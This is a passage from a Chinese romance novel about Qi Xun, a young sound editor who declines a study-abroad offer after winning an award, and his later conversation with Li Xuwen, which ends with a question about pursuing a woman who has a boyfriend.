彼时他24岁,毕业不久,却已经拿到了全球电影声音大奖——金卷轴的声音编辑最佳成就奖。 齐寻这个名字,正式出现在了业界所有人的注视中。 他顶着一张淡然的脸,出现在颁奖后的晚宴上,眼前被闪光灯肆虐的阵阵黑影尚未散去,就有德高望重的前辈主动递来橄榄枝,询问他愿不愿意出国留学,进入世界电影的最高学府深造,毕业后由他作保,直接进入好莱坞,继续勇攀高峰。 这对任何人来说,都是可遇不可求的良机。 可齐寻沉默了许久,竟然拒绝了。 这对他的职业生涯当然是最好的选择,可跟他的人生目标,是真正的背道而驰。 出国了,他还怎么找人? 然而他那时候并不知道,前辈推荐的那所大学,就在银石湖大学的旁边。 当时的黎叙闻,正在那里攻读新闻硕士。 只要他点点头,他们就会在异国某个留学生联谊派对上相遇。 但世事如此,该翻的山,该走的路,一步也不会少。 这时黎叙闻轻咳一声,拂去了莫名断在半截的话题,起身道:“先贴敷料吧,贴好我去给你拿睡袋。” “闻闻。”齐寻蓦地出声,叫住她行将离去的背影:“如果我想追一个有男友的女人,是不是太不道德了?”